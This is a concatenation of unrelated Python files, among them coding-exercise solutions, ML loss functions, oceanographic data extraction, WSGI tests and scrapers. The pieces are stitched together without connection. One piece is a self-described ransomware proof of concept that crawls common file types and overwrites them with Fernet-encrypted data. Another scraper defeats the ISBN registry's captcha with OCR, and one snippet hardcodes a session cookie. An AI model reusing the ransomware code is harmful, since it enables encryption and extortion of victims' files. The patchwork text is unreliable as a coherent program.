import pytesseract
import sys
import argparse
import requests
from bs4 import BeautifulSoup
import datetime
import random
import os
try:
    import Image
except ImportError:
    from PIL import Image
from subprocess import check_output

def resolve(path):
    print("Resampling the Image")
    samples = [100,200,300,400,500,600]
    chave = str(random.getrandbits(128))+'.jpeg'
    ranking = {}
    for sample in samples:
        check_output(['convert', path, '-resample', str(sample), chave])
        valor = pytesseract.image_to_string(Image.open(chave), lang='eng', config='--oem 3').replace(' ','')
        if(valor not in ranking):
            ranking[valor] = 0
        ranking[valor] = ranking[valor] + 1
    valores = sorted(ranking.items(), key = lambda kv:(kv[1], kv[0]), reverse=True)
    print(valores)
    #os.remove(chave)
    return valores[0][0]

if __name__=="__main__":
    '''argparser = argparse.ArgumentParser()
    argparser.add_argument('path',help = 'Captcha file path')
    argparser.add_argument('sample',help = 'Size image')
    '''
    s = requests.session()
    url = "http://www.isbn.bn.br/website/consulta/cadastro"
    h = {
        'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language': 'pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3',
        'Accept-Encoding': 'gzip, deflate',
        'Referer': 'http://www.isbn.bn.br/website/consulta/cadastro/filtrar',
        'Connection': 'keep-alive'
    }
    req = s.get(url)
    jsessionid = s.cookies.get_dict()['JSESSIONID']

    h = {
        'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0',
        'Accept': 'image/webp,*/*',
        'Accept-Language': 'pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3',
        'Accept-Encoding': 'gzip, deflate',
        'Referer': 'http://www.isbn.bn.br/website/consulta/cadastro/filtrar',
        'Connection': 'keep-alive',
        'Cookie': 'JSESSIONID='+jsessionid
    }
    tentativa = 0
    while(tentativa < 10):
        data = datetime_object = datetime.datetime.now()
        tempo = int(datetime.datetime.timestamp(data)*1000)
        caminho = 'http://www.isbn.bn.br/website/jcaptcha?'+str(tempo)
        r = s.get(caminho, headers=h)
        open('imagem.jpeg', 'wb').write(r.content)

        #args = argparser.parse_args()
        path = 'imagem.jpeg'
        print('Resolving Captcha')
        captcha_text = resolve(path).replace(' ','')
        print('Extracted Text',captcha_text)

        h = {
            'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Language': 'pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3',
            'Accept-Encoding': 'gzip, deflate',
            'Referer': 'http://www.isbn.bn.br/website/consulta/cadastro/filtrar',
            'Connection': 'keep-alive',
            'Cookie': 'JSESSIONID='+jsessionid
        }
        url = 'http://www.isbn.bn.br/website/consulta/cadastro/filtrar'
        isbn = '9788576051268'
        #isbn = '9788573289206'
        req = s.post(url, data={'campo':'1','valor':isbn,'imagemCaptcha':captcha_text},headers=h)
        soup = BeautifulSoup(req.text, 'html.parser')
        book = soup.find(name='span',attrs={"id":'imagemCaptcha.errors'})
        if(book == None):
            tentativa = 10
            div = soup.find(name='div',attrs={"class":'conteudo'})
            divs = div.findChildren("div", recursive=False)
            for d in divs:
                if(d.findChildren(name='strong', recursive=False)):
                    texto = d.text.strip().replace('Participações ','').replace('ISBN ','').replace('Título ','').replace('Edição ','').replace('Tipo de Suporte ','').replace('Páginas ','').replace('Editor(a) ','').replace('Editor(a) ','').strip()
                    if('Participações' in texto):
                        print(texto)
                        print(texto.split('\n'))
                        linhas = texto.split('\n')
                        autores = ''
                        for linha in linhas:
                            if('( Autor)' in linha):
                                autor = linha.replace('\r','').replace('( Autor)','').strip()
                                autores = autores + ';' + autor
                        print(autores[1:])
        tentativa = tentativa + 1

    print(book)


RESPOSTA_POSITIVA = "O valor faz parte da sequência de Fibonacci!"
RESPOSTA_NEGATIVA = "O valor não faz parte da sequência de Fibonacci!"

if __name__ == "__main__":
    valor = input("Digite o valor a verificar: ")

    try:
        valor = int(valor)
    except:
        print("O valor digitado deve ser um número inteiro.")
        exit()

    if (valor < 0):
        print(RESPOSTA_NEGATIVA)
        exit()

    fib = [0, 1, 1]

    if (valor in fib):
        print(RESPOSTA_POSITIVA)
        exit()

    while (fib[-1] < valor):
        novo = fib[-2] + fib[-1]
        fib = fib[-2:] + [novo]

    if (valor in fib):
        print(RESPOSTA_POSITIVA)
        exit()

    print(RESPOSTA_NEGATIVA)


N, K = map(int, input().split())
array = [i for i in range(1, N+1)]
result = []
temp = K-1 # 찾고자하는 위치

for i in range(N):
    if len(array) > temp: # 찾고자하는 위치가 범위안이면 넣고 빼줌
        result.append(array.pop(temp))
        temp += K-1 # array에 값하나를 뺏기때문에 -1을 해줘야 제대로 돌아감
    elif len(array) <= temp: # 찾고자하는 위치를 넘을 경우
        temp %= len(array) # 전체 길이에서 나눈 나머지를 넣어줌
        result.append(array.pop(temp))
        temp += K-1

print('<', end='')
for i in result:
    if i == result[-1]:
        print(i, end='')
    else:
        print(i, end=", ")
print('>')

python/간단한 문제/요세푸스 문제.py


from cryptography.fernet import Fernet
import random
import glob
import string

"""
The basic encrypt, generation, and decrypt functions are borrowed from the Fernet documentation.
All extra code for this ransomware POC is made by me such as the file creation/deletion of key, the emailing of the key, main.py, etc.
Credit for the pre-exisitng used functions goes to those who desreve it :).
Use this at your own risk !!

"""

#creates random file name to prevent easy finding
def random_fname():
    x = string.ascii_letters
    y = ''.join(random.choice(x) for i in range(10))
    fname = y+".key"
    return fname

#creates a key and saves to a file this will be removed in the future to hide key and use a premade/nonstored one for ransomeware
def create_key():
    key = Fernet.generate_key()
    #random key file name

    with open(random_fname(),"wb") as key_file:
        key_file.write(key)

#crawls file extensions and creates a list of them
def os_crawler():
    extensions = ['*.txt', '*.docx', '*.exe', '*.zip', '*.rar', '*.mp3', '*.mp4', '*.jpg', '*.png']
    crawled_list = []
    for x in range(len(extensions)):
        crawled_list.append(glob.glob(extensions[x]))
    return crawled_list

#flattens list from crawler
def flatten(t):
    return [item for sublist in t for item in sublist]

#finds file in current directory and loads key from file
def load_key():
    targetPattern = glob.glob("*.key")
    return open(targetPattern[0], "rb").read()

#requires a file name (str) and a key (bytes) it will ecrypt the file and write it
def encrypt(filename, key):
    f = Fernet(key)
    with open(filename, "rb") as file:
        file_data = file.read()
    encrypted_data = f.encrypt(file_data)
    with open(filename, "wb") as file:
        file.write(encrypted_data)

#decrypts the encrypted file with given key
def decrypt(fname, key):
    f = Fernet(key)
    with open(fname, "rb") as file:
        #read encrypted stuff
        encrypted_data = file.read()
    #decrypt data that was read
    decrypted_data = f.decrypt(encrypted_data)
    #rewrite the original file
    with open(fname, "wb") as file:
        file.write(decrypted_data)


from websockets.sync.client import connect
import json
import time

from kafka import KafkaConsumer

if __name__ == '__main__':
    consumer = KafkaConsumer("bitcoin", auto_offset_reset='earliest',
                             bootstrap_servers=['localhost:9092'], api_version=(0, 10), consumer_timeout_ms=1000)
    maximums = []
    n = 0
    for msg in consumer:
        time.sleep(0.1)
        record = json.loads(msg.value)
        price = float(record["data"]['price'])
        maximums.append(price)
        maximums.sort(reverse=True)
        maximums = maximums[:10]
        print(maximums)
        n += 1
    if consumer is not None:
        consumer.close()
    print("10 max prices:")
    print(maximums)
    print(f"Number of prices: {n}")


from utils.log import log

class Question:
    def __init__(self, db, event_handler):
        """
        Handles questions posted to the Ubik platform.

        :param db: object for Postgres database.
        """
        self.db = db
        self.cur = db.get_cursor()
        self.event_handler = event_handler
        self.stored_question = True

    def add_question(self, text, asker_id):
        """
        Adds the question to the database

        :param text: The test of the question
        :param asker_id: The person who asked the question
        :return: None
        """
        question = text.split('[Question]')[1].strip()
        try:
            self.cur.execute(
                "INSERT INTO question (question, asker_id, has_answer) VALUES (%s, %s, %s) RETURNING question_id;",
                (question, str(asker_id), False))
            question_id = self.cur.fetchone()[0]
            self.cur.execute(
                "INSERT INTO users (user_id) SELECT (%s) WHERE NOT EXISTS (SELECT * FROM users WHERE user_id=%s);",
                (str(asker_id),str(asker_id)))
            self.event_handler.new_question(question_id)
        except:
            self.stored_question = False

    def fetch_response(self):
        """
        Sends a immediate feedback, explaining, if the question was saved or not.

        :return: Feedback message
        """
        if self.stored_question:
            return "Your question has been saved. "\
                "I will get back to you with an expert's answer. "\
                "Keep your fingers crossed. "\
                "Meanwhile, you can ask another question, or post answer for requested question."
        else:
            self.stored_question = True
            return "Sorry, there has been some issue with our server. We are working hard to fix it up. "\
                "Try again after sometime."

    def mark_question_as_resolved(self, question_id):
        try:
            self.cur.execute(
                "UPDATE question SET has_answer=TRUE WHERE question_id=%s",
                (question_id,)
            )
        except:
            log("question reolution db update failed")


import requests,re,time,json

url = 'https://a.sendbp.com/redui/article/188705/947202bf3f74'
headers = {
    'Cookie': 'JSESSIONID=CBC3F3908BC7809ECDBC6370837FE4D3',
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36'
}
response = requests.get(url, headers=headers)
# print(response.text)
content = re.findall('vue.pageData(.*?)}\);',response.text)
print(content)


import numpy as np

from sigmoid import sigmoid

def gradient_reg(theta, X, y, lbda):
    m, n = X.shape
    theta = theta.reshape((n, 1))
    _theta = np.copy(theta)
    _theta[0][0] = 0
    y_bar = sigmoid(X.dot(theta))
    grad = (X.T.dot(y_bar - y) + lbda * _theta) / m

    return grad.flatten()


#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 2019/9/6 10:46
# @Author  : SeniorZhu1994
# @Email   : SeniorZhu1994@
# @Site    :
# @File    : DNA序列.py
# @Software: PyCharm
# @Describe:
#
# 找到长度为5的所有子串

def cutStr(str,n):
    out_str = []
    for i in range(len(str)-n+1):
        sub = str[i:i+n]
        out_str.append(sub)
    return out_str

if __name__ == '__main__':
    while True:
        try:
            mystr = input()
            mystr_len = len(mystr)
            num = int(input())
            if mystr:
                # out_dic = {}
                max_GC = 0
                max_index = 0
                out_cut = cutStr(mystr,num)
                for i in range(len(out_cut)):
                    G_C = out_cut[i].count('G') + out_cut[i].count('C')
                    G_C_All = G_C / mystr_len
                    if G_C_All>max_GC:
                        max_GC = G_C_All
                        max_index = i
                        # out_dic[i] = out_dic.setdefault(i,out_cut[i]) # 如果找到G_C 比大于默认值的，就把子串添加到新字典
                # max_k = max(out_dic.keys()) # 找到字典中key值最大的元素
                # print(out_dic[max_k])
                print(out_cut[max_index])
            else:
                break
        except:
            break

DNA序列-找字符串的子串.py

DNA序列-找字符串的子串.py


# -*- coding: utf-8 -*-

from django.core import exceptions
from django.conf import settings
from django.db.models import fields

class BigAutoField(fields.AutoField):
    def db_type(self, connection=None):
        for item in settings.DATABASES:
            if settings.DATABASES[item]['ENGINE'] == 'django.db.backends.postgresql_psycopg2':
                return "bigserial"
            else:
                raise NotImplemented

    def get_internal_type(self):
        return "BigAutoField"

    def to_python(self, value):
        if value is None:
            return value
        try:
            return long(value)
        except (TypeError, ValueError):
            raise exceptions.ValidationError(
                _("This value must be a long integer."))


"""
Extract fields at a number of sections which may be used later for TEF analysis
of transport and other properties, making use of multiple subprocesses
to speed up operation.  It also runs the process_sections.py and bulk_calc.py jobs
unless you use -test True.  You need to run for at least three days to get any
results at the end, because of the tidal averaging.

All input parameters are specified at the command line, so this can be run in the background.
This is essential for year-long extractions.

PERFORMANCE: 6 hours per year, perigee, cas6_v3_lo8b, 39 sections, all variables.  About 6.5 hours
including the processing and bulk_calc steps.  2.25 hours when just extracting salt.

To test on mac (default is to just get salt on section ai1):
run extract_sections -gtx cas6_v3_lo8b -ro 2 -0 2019.07.04 -1 2019.07.06

To get all sections and all variables use these flags:
-get_bio True -sect_name all

On perigee use -Nproc 20

"""

from lo_tools import Lfun, zrfun
from lo_tools import extract_argfun as exfun
Ldir = exfun.intro() # this handles the argument passing
import tef_fun
if Ldir['testing']:
    from importlib import reload
    reload(tef_fun)

import sys
from time import time
import numpy as np
import netCDF4 as nc
import pickle
from subprocess import Popen as Po
from subprocess import PIPE as Pi

# set list of variables to extract
if Ldir['get_bio']:
    vn_list = tef_fun.vn_list
else:
    vn_list = ['salt']

ds0 = Ldir['ds0']
ds1 = Ldir['ds1']

tt00 = time()
print(' Doing TEF extraction for '.center(60,'='))
print(' gtagex = ' + Ldir['gtagex'])
outname = 'extractions_' + ds0 + '_' + ds1
print(' outname = ' + outname)

# make sure the output directory exists
out_dir = Ldir['LOo'] / 'extract' / Ldir['gtagex'] / 'tef' / outname
Lfun.make_dir(out_dir, clean=True)

# make the scratch directory for holding temporary files
temp_dir = Ldir['LOo'] / 'extract' / Ldir['gtagex'] / ('tef_temp_' + ds0 + '_' + ds1)
Lfun.make_dir(temp_dir, clean=True)

# get the DataFrame of all sections
gridname=Ldir['gtagex'].split('_')[0]
sect_df = tef_fun.get_sect_df(gridname)

# initialize a dictionary of info for each section
sect_info = dict()
# select which sections to extract
if Ldir['sect_name'] == 'all':
    # full list
    sect_list = [item for item in sect_df.index]
else: # single item
    if Ldir['sect_name'] in sect_df.index:
        sect_list = [Ldir['sect_name']]
    else:
        print('That section is not available')
        sys.exit()

# get list of history files to process
fn_list = Lfun.get_fn_list('hourly', Ldir, ds0, ds1)
NT = len(fn_list)

# get grid info
fn = fn_list[0]
G = zrfun.get_basic_info(fn, only_G=True)
S = zrfun.get_basic_info(fn, only_S=True)
NZ = S['N']

# Create and save the sect_info dict
# - make a dictionary of info for each section
sect_info = dict()
for sect_name in sect_list:
    x0, x1, y0, y1 = sect_df.loc[sect_name,:]
    # - get indices for this section
    ii0, ii1, jj0, jj1, sdir, Lon, Lat, Mask = tef_fun.get_inds(x0, x1, y0, y1, G)
    NX = len(Mask)
    # - save some things for later use
    sect_info[sect_name] = (ii0, ii1, jj0, jj1, sdir, NX, Lon, Lat)
info_fn = temp_dir / 'sect_info.p'
pickle.dump(sect_info, open(info_fn, 'wb'))

# Initialize NetCDF output files
sl = sect_list.copy()
while len(sl) > 0:
    if len(sl) >= 10:
        print(sl[:10])
        sl = sl[10:]
    else:
        print(sl)
        sl = []
for sect_name in sect_list:
    out_fn = out_dir / (sect_name + '.nc')
    ii0, ii1, jj0, jj1, sdir, NX, Lon, Lat = sect_info[sect_name]
    tef_fun.start_netcdf(fn, out_fn, NT, NX, NZ, Lon, Lat, Ldir, vn_list)

print('Doing initial data extraction:')
# We do extractions one hour at a time, as separate subprocess jobs.
# Running Nproc (e.g. 20) of these in parallel makes the code much faster.
# Files are saved to temp_dir.
tt000 = time()
proc_list = []
N = len(fn_list)
for ii in range(N):
    fn = fn_list[ii]
    d = fn.parent.name.replace('f','')
    nhis = int(fn.name.split('.')[0].split('_')[-1])
    cmd_list = ['python3', 'extract_section_one_time.py',
            '-pth', str(Ldir['roms_out']),
            '-out_dir',str(temp_dir),
            '-gtagex', Ldir['gtagex'],
            '-d', d, '-nhis', str(nhis),
            '-get_bio', str(Ldir['get_bio'])]
    proc = Po(cmd_list, stdout=Pi, stderr=Pi)
    proc_list.append(proc)

    Nproc = Ldir['Nproc']
    if ((np.mod(ii,Nproc) == 0) and (ii > 0)) or (ii == N-1):
        tt0 = time()
        for proc in proc_list:
            proc.communicate()
        print(' - %d out of %d: %d took %0.2f sec' % (ii, N, Nproc, time()-tt0))
        sys.stdout.flush()
        proc_list = []
print('Elapsed time = %0.2f sec' % (time()-tt000))

# Extract and save time-dependent fields
for sect_name in sect_list:
    out_fn = out_dir / (sect_name + '.nc')
    tef_fun.add_fields(out_fn, temp_dir, sect_name, vn_list, S, NT)

# Clean up
Lfun.make_dir(temp_dir, clean=True)
temp_dir.rmdir()

# Then do the processing and bulk calculation
if Ldir['testing'] == False:

    # processing
    tt0 = time()
    print(' process_sections '.center(60,'='))
    cmd_list = ['python3', 'process_sections.py',
            '-gtagex', Ldir['gtagex'],
            '-0', ds0, '-1', ds1]
    proc = Po(cmd_list, stdout=Pi, stderr=Pi)
    stdout, stderr = proc.communicate()
    #print(stdout.decode())
    if len(stderr) > 0:
        print(stderr.decode())
    print('Elapsed time = %0.2f sec' % (time()-tt0))

    # bulk_calc
    tt0 = time()
    print(' bulk_calc '.center(60,'='))
    cmd_list = ['python3', 'bulk_calc.py',
            '-gtagex', Ldir['gtagex'],
            '-0', ds0, '-1', ds1]
    proc = Po(cmd_list, stdout=Pi, stderr=Pi)
    stdout, stderr = proc.communicate()
    #print(stdout.decode())
    if len(stderr) > 0:
        print(stderr.decode())
    print('Elapsed time = %0.2f sec' % (time()-tt0))

print(' Total elapsed time = %d sec '.center(60,'-') % (time()-tt00))
print(' DONE '.center(60,'='))


import unittest,subprocess,os,wsgikit,signal,time,json,urllib
from urllib.request import urlopen
from urllib.request import Request
import mimetypes

def encode_multipart_formdata( fields = None, files = None):
	"""
    fields is a sequence of (name, value) elements for regular form fields.
    files is a sequence of (name, filename, value) elements for data to be uploaded as files
    Return (content_type, body)
    """
	BOUNDARY = b'----------ThIs_Is_tHe_bouNdaRY_$'
	CRLF = b'\r\n'
	L = []

	if fields and len( fields) > 0:
		for (key, value) in fields:
			L.append( b'--' + BOUNDARY)
			L.append( b'Content-Disposition: form-data; name="' + key.encode('utf-8') + b'"')
			L.append( b'')
			L.append( value.encode('utf-8'))

	if files and len( files) > 0:
		for (key, filename, value) in files:
			L.append( b'--' + BOUNDARY)
			L.append( b'Content-Disposition: form-data; name="' + key.encode('utf-8') + b'"; filename="' + filename.encode('utf-8') + b'"')
			L.append( b'Content-Type: ' + get_content_type( filename).encode('utf-8'))
			L.append( b'')
			L.append( value)

	L.append( b'--' + BOUNDARY + b'--')
	L.append( b'')
	body = CRLF.join( L)
	content_type = 'multipart/form-data; boundary=%s' % BOUNDARY.decode('utf-8')

	return content_type, body

def get_content_type( filename):
	return mimetypes.guess_type( filename)[0] or 'application/octet-stream'

BASE_URL = 'http://localhost:10888/'
UPLOADS_PATH = './uploads'
DATA_PATH = './data'

def cleanup_uploads():
	for file in os.listdir( UPLOADS_PATH):
		file_path = os.path.join( UPLOADS_PATH, file)

		if os.path.isfile( file_path):
			os.unlink( file_path)

class Server(object):
	def start(self):
		print("Starting WSGI server...")
		self.pid = subprocess.Popen( ['/usr/bin/env', 'python', os.getcwd() + '/server.py', '&']).pid

		if not os.path.exists( UPLOADS_PATH):
			os.makedirs( UPLOADS_PATH)

		time.sleep(1)
		print('Done.')

	def stop(self):
		print("Shutdown server...")
		os.kill( self.pid, signal.SIGKILL)
		os.removedirs( UPLOADS_PATH)
		print("Done.")

class WsgiKitTest(unittest.TestCase):

	test_data = [{
		'raw'  : 'foo=1&bar=2',
		'dict' : {'foo':'1','bar':'2'}
	}, {
		'raw'  : 'foo[][]=1&foo[1][]=1&foo[1][]=1',
		'dict' : {'foo':{'0':{'0':'1'},'1':{'0':'1','1':'1'}}}
	}]

	test_files = [
		('upfiles[]', '01.txt', open( DATA_PATH + '/01.txt', 'rb').read()),
		('upfiles[]', '02.zip', open( DATA_PATH + '/02.zip', 'rb').read()),
		('upfiles[]', '03.zip', open( DATA_PATH + '/03.zip', 'rb').read()),
		('upfiles[]', 'large.zip', open( DATA_PATH + '/large.zip', 'rb').read()),
	]

	def test01_parse_query(self):
		self.assertEqual( wsgikit.HttpRequest.parse_query( self.test_data[0]['raw']), self.test_data[0]['dict'])

	def test02_remote_parse_query(self):
		for data in self.test_data:
			response = urlopen( BASE_URL + '?' + data['raw'])
			res = json.loads( response.read().decode( 'utf-8'))['QUERY']
			self.assertEqual( res, data['dict'])

	def test03_remote_parse_body(self):
		for data in self.test_data:
			request = Request( BASE_URL, data['raw'].encode( 'utf-8'))
			res = json.loads( urlopen( request).read().decode( 'utf-8'))['BODY']
			self.assertEqual( res, data['dict'])

	def test04_remote_parse_headers(self):
		request = Request( BASE_URL, headers = {
			'X-Test-Header' : 'tested'
		})
		res = json.loads( urlopen( request).read().decode( 'utf-8'))['HEADERS']
		self.assertTrue( 'X-Test-Header' in res and res['X-Test-Header'] == 'tested')

	def test05_remote_parse_cookie(self):
		request = Request( BASE_URL, headers = {
			'Cookie' : 'session=12345; sid=123456789',
		})
		res = json.loads( urlopen( request).read().decode( 'utf-8'))['COOKIE']
		self.assertEqual(res, { 'session' : '12345', 'sid' : '123456789' })

	def test06_remote_upload_files(self):
		ctype, body = encode_multipart_formdata(
			self.test_data[0]['dict'].items(),
			self.test_files[:2]
		)

		request = Request( BASE_URL, body, { 'Content-Type' : ctype })
		res = json.loads( urlopen( request).read().decode( 'utf-8'))['FILES']

		self.assertTrue('upfiles' in res)
		self.assertTrue('0' in res['upfiles'])
		self.assertTrue('1' in res['upfiles'])

		fnames = (self.test_files[0][1], self.test_files[1][1])

		self.assertTrue( res['upfiles']['0']['filename'] in fnames)
		self.assertTrue( res['upfiles']['1']['filename'] in fnames)

		dirfiles = os.listdir( UPLOADS_PATH)
		for file in fnames:
			self.assertTrue( file in dirfiles)
			self.assertEqual(
				open( UPLOADS_PATH + '/' + file, 'rb').read(),
				open( DATA_PATH + '/' + file, 'rb').read()
			)

		cleanup_uploads()

	def test07_remote_max_file_size_limit(self):
		ctype, body = encode_multipart_formdata(
			files = self.test_files[3:]
		)

		try :
			request = Request( BASE_URL, body, { 'Content-Type' : ctype })
			urlopen( request)
			self.assertEqual( True, False, "Max file size limit was not handled by the server")
		except Exception as e:
			self.assertIsInstance( e, urllib.error.HTTPError)

		cleanup_uploads()

	def test08_remote_max_files_limit(self):
		ctype, body = encode_multipart_formdata(
			self.test_data[0]['dict'].items(),
			self.test_files[:3]
		)

		try :
			request = Request( BASE_URL, body, { 'Content-Type' : ctype })
			urlopen( request)
			self.assertEqual( True, False, "Max uploaded files limit was not handled by the server")
		except Exception as e:
			self.assertIsInstance( e, urllib.error.HTTPError)

		cleanup_uploads()

	def test09_remote_max_body_size_limit(self):
		body = b'foo=' + b'0' * 512

		try :
			request = Request( BASE_URL, body)
			urlopen( request)
			self.assertEqual( True, False, "Max body size limit was not handled by the server")
		except Exception as e:
			self.assertIsInstance( e, urllib.error.HTTPError)

	@staticmethod
	def run_tests():
		srv = Server()
		srv.start()

		print("Running tests...")
		suite = unittest.TestLoader().loadTestsFromTestCase( WsgiKitTest)
		unittest.TextTestRunner( verbosity = 2).run( suite)

		srv.stop()

if __name__ == '__main__':
	WsgiKitTest.run_tests()


import torch
import sklearn
import numpy as np
from elc_metric.ELC import elc

# Metrics
def getPerformance(y_true, y_pred, calc_evt):
    # Return all relevant performance metrics
    # Do not consider elements with -1
    loc = y_true != -1
    y_pred = y_pred[loc]
    y_true = y_true[loc]

    Perf = dict()
    Perf['kappa'] = sklearn.metrics.cohen_kappa_score(y_true, y_pred, labels=[0,1,2])
    Perf['mpca'] = sklearn.metrics.accuracy_score(y_true, y_pred)
    Perf['conf'] = sklearn.metrics.confusion_matrix(y_true, y_pred, labels=[0,1,2])
    Perf['prec'] = sklearn.metrics.precision_score(y_true, y_pred, average=None, labels=[0,1,2])
    Perf['mpcp'] = sklearn.metrics.precision_score(y_true, y_pred, average='macro', labels=[0,1,2])
    Perf['recall'] = sklearn.metrics.recall_score(y_true, y_pred, average=None, labels=[0,1,2])
    Perf['mpcr'] = sklearn.metrics.recall_score(y_true, y_pred, average='macro', labels=[0,1,2])
    Perf['iou'] = sklearn.metrics.jaccard_score(y_true, y_pred, average='macro', labels=[0,1,2])
    Perf['iou_class'] = sklearn.metrics.jaccard_score(y_true, y_pred, average=None, labels=[0,1,2])

    if calc_evt:
        cmat_list = [elc(y_true[i, ...].squeeze(), y_pred[i, ...].squeeze(), 15)[2] for i in range(0, y_true.shape[0])]
        Perf['kappa_evt'] = np.mean([kappa_confusion(cmat) for cmat in cmat_list])
        Perf['kappa_class_evt'] = np.mean(np.stack([kappa_perClass(cmat) for cmat in cmat_list], axis=0), axis=0)
    else:
        Perf['kappa_evt'] = 0
        Perf['kappa_class_evt'] = np.array([0, 0, 0])

    return Perf

def kappa_perClass(cmat):
    '''
    Computes the kappa score per class for a given confusion matrix
    '''
    kappa_class = []
    C = cmat.shape[0]
    classes_present = np.arange(0, C)
    for k in range(0, C):
        x = classes_present[classes_present!=k]
        y = k
        a = cmat[k, k]
        b = np.sum(cmat[x, y])
        c = np.sum(cmat[y, x])
        d = np.sum(cmat[x, x])
        assert np.sum([a,b,c,d]) == np.sum(cmat), "Incorrect calculation"
        cmat_c = np.array([[a, c], [b, d]])
        kappa_class.append(kappa_confusion(cmat_c))
    return np.array(kappa_class)

def kappa_confusion(cmat):
    '''
    Computes the kappa score from a given confusion matrix
    '''
    w = np.eye(cmat.shape[0])
    n = np.sum(cmat) # Total elements
    x = cmat/n
    r = np.sum(x, axis=1) # Sum across rows
    s = np.sum(x, axis=0) # Sum across columns
    Ex = r.reshape(3,1)*s.reshape(1,3) # Expected proportion for random agreement
    #pom = np.sum(np.min(np.stack([r, s], axis=0), axis=0))
    po = np.sum(x.dot(w))
    pe = np.sum(Ex.dot(w))
    kappa = (po - pe)/(1 - pe)
    return kappa

# Loss functions
def loss_giw(ip, target, weight, ignore_index):
    loss1 = torch.mean(loss_ce(ip, target, weight, ignore_index))
    GD = GeneralizedDiceLoss(ignore_index=ignore_index).cuda().to(torch.float64)
    loss2 = GD(ip, target)
    loss = loss1.to(torch.float64) + loss2.to(torch.float64)
    return loss, loss1.detach().cpu().item(), loss2.detach().cpu()

def loss_giw_dual(ip, target, weight, ignore_index, task_2):
    # Note that is important to add an eps value.
    loss1 = torch.mean(loss_ce(ip[:,:3,:], target, weight, ignore_index))
    GD = GeneralizedDiceLoss(ignore_index=ignore_index).cuda().to(torch.float64)
    reg_loss = torch.nn.SmoothL1Loss().to(torch.float64)
    loss2 = GD(ip[:,:3,:], target)
    loss3 = reg_loss(ip[:,3:,:], task_2)
    loss = loss1.to(torch.float64) + loss2.to(torch.float64) + loss3.to(torch.float64)
    return loss, loss1.detach().cpu().item(), loss2.detach().cpu().item()

def loss_ce(ip, target, weight, ignore_index):
    # Computes the loss based on given input and target.
    # Input: batch, sequence, features
    # Target: batch, sequence, class
    '''
    cE = torch.nn.CrossEntropyLoss(ignore_index=-1, weight=torch.tensor([0.3, 0.9, 0.5]).cuda().to(torch.float64))
    loss_ce = cE(ip, target.to(torch.long))
    '''

    cE = torch.nn.CrossEntropyLoss(reduction='none',
                                   ignore_index=-1,
                                   weight=torch.tensor([0.3, 0.9, 0.5]).cuda().to(torch.float64))
    sampleWeight = weight/torch.sum(weight, dim=1, keepdim=True)
    loss_ce = sampleWeight*cE(ip, target.to(torch.long))
    loss_ce = torch.sum(loss_ce, dim=1)

    return loss_ce

class GeneralizedDiceLoss(torch.nn.Module):
    # Author: Rakshit Kothari
    # Input: (B, C, ...)
    # Target: (B, C, ...)
    def __init__(self, epsilon=1e-5, weight=None, softmax=True, reduction=True, ignore_index=-1):
        super(GeneralizedDiceLoss, self).__init__()
        self.epsilon = epsilon
        self.weight = []
        self.reduction = reduction
        self.ignore_index = ignore_index
        if softmax:
            self.norm = torch.nn.Softmax(dim=1)
        else:
            self.norm = torch.nn.Sigmoid()

    def forward(self, ip, target):
        mask = target.clone().ne_(self.ignore_index)
        mask = [mask for i in range(0, ip.shape[1])]
        mask = torch.stack(mask, dim=1)
        mask.requires_grad = False

        ip = ip*mask.to(torch.float64)

        # Rapid way to convert to one-hot. For future version, use functional
        Label = (np.arange(3) == target.cpu().numpy()[..., None]).astype(np.uint8)
        target = torch.from_numpy(np.rollaxis(Label, 2, start=1)).cuda().to(torch.float64)

        if not (ip.shape == target.shape):
            print('Shapes do not match')
            print('Input shape: {}'.format(ip.shape))
            print('Target shape: {}'.format(target.shape))
        ip = self.norm(ip)

        # Flatten for multidimensional data
        ip = torch.flatten(ip, start_dim=2, end_dim=-1).cuda().to(torch.float32)
        target = torch.flatten(target, start_dim=2, end_dim=-1).cuda().to(torch.float32)

        numerator = ip*target
        denominator = ip + target

        class_weights = 1./(torch.sum(target, dim=2)**2).clamp(min=self.epsilon)

        A = class_weights*torch.sum(numerator, dim=2)
        B = class_weights*torch.sum(denominator, dim=2)

        dice_metric = 2.*torch.sum(A, dim=1)/torch.sum(B, dim=1)
        if self.reduction:
            return torch.mean(1. - dice_metric.clamp(min=self.epsilon))
        else:
            return 1. - dice_metric.clamp(min=self.epsilon)


from typing import Dict

import sys

import os

from org.pyut.PyutConstants import PyutConstants
from org.pyut.general.exceptions.PreferencesLocationNotSet import PreferencesLocationNotSet
from org.pyut.preferences.BaseSubPreference import BaseSubPreference

PREFS_NAME_VALUES = Dict[str, str]

class PreferencesCommon(BaseSubPreference):

    preferencesFileLocationAndName: str = None

    def init(self, *args, **kwds):

        BaseSubPreference.init(self, *args, **kwds)

    @staticmethod
    def determinePreferencesLocation():
        """
        This method MUST (I repeat MUST) be called before attempting to instantiate the preferences Singleton
        """
        if sys.platform == "linux2" or sys.platform == "linux" or sys.platform == PyutConstants.THE_GREAT_MAC_PLATFORM:
            PreferencesCommon.preferencesFileLocationAndName = os.getenv("HOME") + "/.PyutPrefs.dat"
        else:
            PreferencesCommon.preferencesFileLocationAndName = "PyutPrefs.dat"

    @staticmethod
    def getPreferencesLocation():
        if PreferencesCommon.preferencesFileLocationAndName is None:
            raise PreferencesLocationNotSet()
        else:
            return PreferencesCommon.preferencesFileLocationAndName

    def addMissingPreference(self, sectionName: str, preferenceName: str, value: str):
        self._config.set(sectionName, preferenceName, value)
        self.saveConfig()

    def saveConfig(self):
        """
        Save data to the preferences file
        """
        f = open(PreferencesCommon.getPreferencesLocation(), "w")
        self._config.write(f)
        f.close()


import dash
import dash_core_components as dcc
import dash_html_components as html
